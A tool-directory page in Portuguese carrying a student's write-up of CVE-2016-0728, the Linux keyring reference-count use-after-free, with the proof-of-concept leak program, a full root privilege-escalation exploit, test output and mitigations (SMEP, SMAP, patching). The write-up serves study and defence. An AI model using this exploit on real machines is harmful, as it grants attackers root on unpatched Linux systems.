Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2016-0728 — exploração da cve-2016-0728 e resumo | Kitploit
Ferramentas/GitHubGitHub/hal0taso/cve-2016-0728
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

exploração da cve-2016-0728 e resumo

Ver Repositório
1há 9 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2016-0728

Seccamp 2017 - Tarefa

O programa abaixo explora uma vulnerabilidade presente nos kernels Linux 3.8 a 4.4. Explique o mau funcionamento causado pela execução deste programa. Além disso, descreva um exploit que realiza escalonamento de privilégios para root explorando ainda mais essa vulnerabilidade, explicando o ambiente de teste utilizado e os pontos de engenharia. Adicionalmente, liste o maior número possível de medidas de mitigação para esse tipo de ataque e explique cada uma delas. Não precisa entender completamente; descreva com suas próprias palavras as informações até onde você compreendeu, o processo de tentativa e erro, e suas impressões. Se houver sites ou referências consultadas, mencione essas fontes.

root@kitploit:~
#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

Introdução

O ambiente de teste é o seguinte:

root@kitploit:~
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

Eu descobri essa vulnerabilidade recentemente e descreverei o que aprendi pesquisando e os testes que realizei nesse processo. Primeiro, explicarei o serviço de armazenamento de chaves usado neste programa, depois a vulnerabilidade Use-After-Free que o programa explora e sua causa, e também os problemas que surgem a partir disso. Esta vulnerabilidade foi registrada como CVE-2016-0728 e sua descrição geral foi baseada no seguinte site:

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

Além disso, como eu também não conhecia o serviço de armazenamento de chaves do Linux, consultei a página de introdução ao serviço de retenção de chaves do Linux da IBM

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

e o código fonte do kernel Linux 3.19 usado no ambiente de teste

https://www.kernel.org/

Para enviar mensagens do kernel para o SO hospedeiro via rede, usei DEBUG HACKS - Técnicas e Ferramentas para Depuração Avançada (O'REILLY)

como referência.

Este programa (doravante chamado de leak.c) explora um bug no serviço de armazenamento de chaves do Linux, que leva a uma vulnerabilidade Use-After-Free. A vulnerabilidade Use-After-Free ocorre quando, devido a uma inconsistência no programa, um endereço de memória heap já liberado é referenciado, permitindo a execução de código arbitrário. Primeiro, explicarei a chamada de sistema keyctl() usada por este programa e descreverei o bug existente nela.

Cada processo pode criar um keyring específico para a sessão atual usando a chamada de sistema keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Esse keyring pode ser compartilhado entre processos por meio da referência ao nome. Se um processo já possui um keyring de sessão, essa chamada de sistema substitui o keyring de sessão por um novo keyring. Para entender melhor essa operação, consultei a função join_session_keyring no arquivo /security/keys/process_keys.c do código fonte do kernel. O código é o seguinte. Ao substituir o keyring de sessão por um novo, a função key_put é ignorada. A função key_put é responsável por descartar a referência ao keyring fornecido como argumento. Ignorá-la faz com que a referência ao novo keyring permaneça, levando a uma vulnerabilidade Use-After-Free.

Quando esse keyring é compartilhado entre processos, a contagem de referência interna armazenada no membro usage da estrutura key aumenta. O membro usage é do tipo atomic_t, que é definido como um typedef de uma struct contendo uma única variável int. Além disso, não há mecanismo para evitar o estouro desse membro, portanto, ao incrementá-lo repetidamente, é possível fazer com que ele ultrapasse o limite e chegue a zero. Quando o membro usage chega a zero, a coleta de lixo interna do subsistema de keyrings libera o keyring. Ao colocar um módulo do kernel que realiza operações arbitrárias do espaço do usuário nessa área liberada, é possível executar essas operações com privilégios de kernel.

No site de referência, quando o leak.c é compilado com a biblioteca keyutils e executado, o /proc/keys mostra que um keyring de sessão chamado leaked-key foi registrado e referenciado 100 vezes. Foi verificado que o leaked-keyring aparecia da seguinte forma antes e depois da execução do programa:

root@kitploit:~
# Antes da execução
$ cat /proc/keys
$ ./leak
# Após a execução
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

No entanto, no meu ambiente de teste, o leaked-keyring não apareceu. Tentei usar um número grande como condição do loop for, como i < 0x1000000, e durante a execução do programa o leaked-keyring era exibido. O ataque funciona ao fazer o membro usage transbordar, liberar o key e então colocar um novo objeto do kernel nesse local. Então resolvi tentar. O código do exploit foi baseado no seguinte site:

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}

Ao executar, os privilégios não mudaram e o shell foi iniciado com os privilégios do usuário executor. Minha primeira impressão foi que meu ambiente estava atualizado e o patch já aplicado. Essa vulnerabilidade foi divulgada por volta de janeiro de 2016, e meu ambiente já havia sido atualizado antes disso. Então, tentei alterar as constantes em um novo ambiente virtual (kernel 3.18.52), mas não funcionou. Além disso, há relatos de que os mecanismos de proteção de memória SMAP e SMEP impedem que o exploit funcione corretamente. SMEP proíbe a execução de código no espaço do usuário em modo kernel, e SMAP proíbe o acesso a endereços do espaço do usuário em modo kernel. Nos comentários do gist, havia um código que foi testado por várias pessoas no kernel 3.18.25, onde a uid era iniciada como 0, mas a VM congelava. Resolvi testá-lo. O link é este: https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830 . Compilei o kernel (3.18.25) com SMAP e SMEP desabilitados e testei. O ambiente de execução é o seguinte. SMAP foi desabilitado no .config durante a compilação, e SMEP foi desabilitado no arquivo de configuração do grub (/boot/grub/grub.cfg).

root@kitploit:~
$ uname -r
3.18.25

Ao executar o leak nesse ambiente, o /proc/keys ficou assim:

root@kitploit:~
$ cat /proc/keys
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1

Consegui confirmar o objeto keyring como no site de referência. Então, executei o exploit, mas também aqui o shell foi iniciado com os privilégios do usuário executor do programa. Então, monitorei o /proc/keys com o comando watch a cada 0,1 segundos e percebi que quando o membro usage não chegava exatamente a zero (por exemplo, ao especificar um keyring com o mesmo nome de um keyring gerado quando o programa era interrompido, após o estouro, o membro usage do objeto keyring recriado continuava aumentando), o join_session_keyring criava um novo objeto keyring. Então pensei que, se o contador de referência não for ajustado para zero exatamente, o objeto chave não será liberado. Quando o contador chegava a zero, o objeto keyring desaparecia e era considerado liberado. Após várias execuções consecutivas, cheguei a confirmar que o root era obtido (uid=0, euid=0), mas imediatamente depois ocorria um kernel panic e a VM congelava.

root@kitploit:~
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed

Então, tentei transferir as mensagens do kernel para o SO hospedeiro via netconsole e ler os logs, mas ao pesquisar pelos endereços das constantes como commit_creds e kernel_prepare_cred, não encontrei os locais correspondentes. No final, não consegui obter o root e iniciar o shell.

Com base no exposto, para defesa contra ataques que exploram essa vulnerabilidade, é possível dificultar o ataque ativando mecanismos de proteção do kernel da CPU, como SMAP e SMEP. Além disso, algum tempo após a divulgação da vulnerabilidade, as distribuições fornecem atualizações do kernel contendo patches; a aplicação dessas atualizações pode prevenir o ataque. Durante a pesquisa sobre essa vulnerabilidade, quando executei o código PoC no kernel 3.18.52, observei que o membro usage do objeto keyring aumentava e diminuía repetidamente ao monitorar o /proc/keys. Isso me fez pensar que entre os kernels 3.18.25 e 3.18.52, o código relacionado a keyrings ou a função abort_creds usada em join_session_keyring pode ter sido alterado, mudando o mecanismo de incremento do contador de referência (aqui, o membro usage). Isso porque, no site de referência, o contador usage era incrementado e decrementado duas vezes em join_session_keyring, e era mencionado que abort_creds realiza a decrementação do contador de forma assíncrona, após um trabalho RCU, o que é importante.

Ao pesquisar sobre essa vulnerabilidade, fiquei surpreso e apreensivo por um usuário comum poder escalar privilégios para usuário privilegiado, mas ao testar o código PoC do exploit e pesquisar, descobri que o atacante precisa identificar a versão do kernel, e se SMEP ou SMAP estiverem ativos, também precisa contorná-los. Além disso, o sucesso não é garantido e, em caso de falha, ocorre um kernel panic, o que pode alertar sobre o ataque. Aprendi que há muitas desvantagens para o atacante, o que me fez questionar se o ataque é realmente útil como técnica.

Baixar ferramenta